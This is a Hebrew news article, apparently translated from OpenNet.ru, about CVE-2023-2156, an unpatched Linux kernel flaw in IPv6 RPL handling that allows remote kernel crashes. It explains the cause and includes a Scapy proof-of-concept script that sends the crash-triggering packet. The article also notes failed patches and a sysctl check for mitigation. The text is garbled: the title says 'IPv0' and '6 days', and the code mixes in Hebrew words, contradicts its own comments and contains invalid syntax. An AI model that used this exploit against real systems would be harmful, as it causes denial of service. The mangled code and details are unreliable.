ืคื’ื™ืขื•ืช ืžื—ืกื ื™ืช IPv0 ืฉืœ Linux ืœ-6 ื™ืžื™ื ื”ืžืืคืฉืจืช ืงืจื™ืกืช ืœื™ื‘ื” ืžืจื—ื•ืง

ื ื—ืฉืฃ ืžื™ื“ืข ืœื’ื‘ื™ ืคื’ื™ืขื•ืช ืœื ืžืชื•ืงื ืช (0-ื™ื•ื) (CVE-2023-2156) ื‘ืœื™ื‘ืช ืœื™ื ื•ืงืก, ื”ืžืืคืฉืจืช ืขืฆื™ืจืช ื”ืžืขืจื›ืช ืขืœ ื™ื“ื™ ืฉืœื™ื—ืช ืžื ื•ืช IPv6 ืฉืชื•ื›ื ื ื• ื‘ืžื™ื•ื—ื“ (ื—ื‘ื™ืœืช-ืžื•ื•ืช). ื”ื‘ืขื™ื” ืžื•ืคื™ืขื” ืจืง ื›ืืฉืจ ืžื•ืคืขืœืช ืชืžื™ื›ื” ื‘ืคืจื•ื˜ื•ืงื•ืœ RPL (Routing Protocol for Low-Power and Lossy Networks), ืืฉืจ ืžื•ืฉื‘ืช ื›ื‘ืจื™ืจืช ืžื—ื“ืœ ื‘ื”ืคืฆื•ืช ื•ืžืฉืžืฉ ื‘ืขื™ืงืจ ื‘ืžื›ืฉื™ืจื™ื ืžืฉื•ื‘ืฆื™ื ื”ืคื•ืขืœื™ื ื‘ืจืฉืชื•ืช ืืœื—ื•ื˜ื™ื•ืช ืขื ืื•ื‘ื“ืŸ ืžื ื•ืช ื’ื‘ื•ื”.

ื”ืคื’ื™ืขื•ืช ื ื’ืจืžืช ืžืขื™ื‘ื•ื“ ืฉื’ื•ื™ ืฉืœ ื ืชื•ื ื™ื ื—ื™ืฆื•ื ื™ื™ื ื‘ืงื•ื“ ื”ื ื™ืชื•ื— ืฉืœ ืคืจื•ื˜ื•ืงื•ืœ RPL, ืžื” ืฉืžื•ื‘ื™ืœ ืœื›ืฉืœ ื‘-assert ื•ืœื›ื ื™ืกื” ืฉืœ ื”ืงืจื ืœ ืœืžืฆื‘ ืคืื ื™ืงื”. ื›ืืฉืจ ืžืžืงืžื™ื ืืช ื”ื ืชื•ื ื™ื ืฉื”ืชืงื‘ืœื• ืžื ื™ืชื•ื— ื›ื•ืชืจืช ื”ื—ื‘ื™ืœื” IPv6 RPL ื‘ืžื‘ื ื” k_buff (Socket Buffer), ืื ื”ืฉื“ื” CmprI ืžื•ื’ื“ืจ ืœ-15, ื”ืฉื“ื” Segleft ืœ-1 ื•-CmprE ืœ-0, ื”ื•ื•ืงื˜ื•ืจ ืฉืœ 48-ื‘ืชื™ื ืขื ื›ืชื•ื‘ื•ืช ืžื ื•ืชืง ืœ-528 ื‘ืชื™ื ื•ืžื•ืคื™ืข ืžืฆื‘ ืฉื‘ื• ื”ื–ื™ื›ืจื•ืŸ ืฉื”ื•ืงืฆื” ืœืžืื’ืจ ืื™ื ื• ืžืกืคื™ืง. ื‘ืžืงืจื” ื–ื”, ื”ืคื•ื ืงืฆื™ื” skb_push, ื”ืžืฉืžืฉืช ืœื“ื—ื™ืคืช ื ืชื•ื ื™ื ืœืชื•ืš ื”ืžื‘ื ื”, ื‘ื•ื“ืงืช ืื™-ื”ืชืืžื” ื‘ื™ืŸ ื’ื•ื“ืœ ื”ื ืชื•ื ื™ื ืœืžืื’ืจ, ื•ื™ื•ืฆืจืช ืžืฆื‘ ืคืื ื™ืงื” ื›ื“ื™ ืœืžื ื•ืข ื›ืชื™ื‘ื” ืžืขื‘ืจ ืœื’ื‘ื•ืœ ื”ืžืื’ืจ.

ื ื™ืฆื•ืœ ืœื“ื•ื’ืžื”: # ืื ื• ื ืฉืชืžืฉ ื‘-Scapy ื›ื“ื™ ืœื™ืฆื•ืจ ืืช ื”ื—ื‘ื™ืœื” ืž-scapy.all import * ืฉืงืข ื™ื™ื‘ื•ื โ€‹โ€‹# ื”ืฉืชืžืฉ ื‘-IPv6 ืžืžืžืฉืง ื”-LAN ืฉืœืš DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # ืื ื• ืžืฉืชืžืฉื™ื ื‘ืฉืงืขื™ื ื›ื“ื™ ืœืฉืœื•ื— ืืช ื”ื—ื‘ื™ืœื” sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # ืฆื•ืจ ืืช ื”ื—ื‘ื™ืœื” # ืกื•ื’ = 3 ื”ื•ืคืš ืืช ื–ื” ืœื—ื‘ื™ืœืช RPL # ื›ืชื•ื‘ื•ืช ืžื›ื™ืœื•ืช 3 ื›ืชื•ื‘ื•ืช, ืื‘ืœ ื‘ื’ืœืœ ืฉ-CmprI ื”ื•ื 15, # ื›ืœ ืื•ืงื˜ื˜ ืžืฉืชื™ ื”ื›ืชื•ื‘ื•ืช ื”ืจืืฉื•ื ื•ืช ื”ื•ื ืžื˜ื•ืคืœ ื›ื›ืชื•ื‘ืช ื“ื—ื•ืกื” # Segleft = 1 ื›ื“ื™ ืœื”ืคืขื™ืœ ืืช ื”ื”ื’ื‘ืจื” # lastentry = 0xf0 ืžื’ื“ื™ืจ ืืช CmprI ืœ-15 ื•ืืช CmprE ืœ-0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting=[โ€œa3: address :", "a8::", "a7::"], segleft=6, lastentry=1xf0) # ืฉืœื— ื—ื‘ื™ืœื” ืจืขื” ื–ื• sockfd.sendto(bytes(p), (DST_ADDR, 0))

ืจืื•ื™ ืœืฆื™ื™ืŸ ื›ื™ ืžืคืชื—ื™ ื”ืœื™ื‘ื” ืงื™ื‘ืœื• ื”ื•ื“ืขื” ืขืœ ื”ืคื’ื™ืขื•ืช ืขื•ื“ ื‘ื™ื ื•ืืจ 2022 ื•ื‘ืžื”ืœืš 15 ื”ื—ื•ื“ืฉื™ื ื”ืื—ืจื•ื ื™ื ื”ื ื ื™ืกื• ืœืชืงืŸ ืืช ื”ื‘ืขื™ื” ืฉืœื•ืฉ ืคืขืžื™ื, ื•ื”ื•ืฆื™ืื• ืชื™ืงื•ื ื™ื ื‘ืกืคื˜ืžื‘ืจ 2022, ืื•ืงื˜ื•ื‘ืจ 2022 ื•ืืคืจื™ืœ 2023, ืืš ื‘ื›ืœ ืคืขื ื”ืชื™ืงื•ื ื™ื ื”ื™ื• ืœื ืžืกืคื™ืง ื•ืœื ื ื™ืชืŸ ื”ื™ื” ืœืฉื—ื–ืจ ืืช ื”ืคื’ื™ืขื•ืช. ื‘ืกื•ืคื• ืฉืœ ื“ื‘ืจ, ืคืจื•ื™ืงื˜ ZDI, ืฉืชื™ืื ืืช ื”ืขื‘ื•ื“ื” ืœืชื™ืงื•ืŸ ื”ืคื’ื™ืขื•ืช, ื”ื—ืœื™ื˜ ืœืฉื—ืจืจ ืžื™ื“ืข ืžืคื•ืจื˜ ืขืœ ื”ืคื’ื™ืขื•ืช ืžื‘ืœื™ ืœื—ื›ื•ืช ืœืชื™ืงื•ืŸ ืขื•ื‘ื“ ืฉื™ื”ื™ื” ื–ืžื™ืŸ ื‘ืงืจื ืœ.

ืœืคื™ื›ืš, ื”ืคื’ื™ืขื•ืช ืขื“ื™ื™ืŸ ืœื ืžืชื•ืงื ืช. ื‘ืคืจื˜, ื”ืชื™ืงื•ืŸ ื”ื›ืœื•ืœ ื‘ืงืจื ืœ 6.4-rc2 ืื™ื ื• ื™ืขื™ืœ. ืžื•ืžืœืฅ ืœืžืฉืชืžืฉื™ื ืœื‘ื“ื•ืง ืฉืœื ื ืขืฉื” ืฉื™ืžื•ืฉ ื‘ืคืจื•ื˜ื•ืงื•ืœ RPL ื‘ืžืขืจื›ื•ืช ืฉืœื”ื, ื“ื‘ืจ ืฉื ื™ืชืŸ ืœืขืฉื•ืช ื‘ืืžืฆืขื•ืช ื”ืคืงื•ื“ื” sysctl -a | grep -i rpl_seg_enabled

ืžืงื•ืจ: OpenNet.ru

ื”ื•ืกืคืช ืชื’ื•ื‘ื”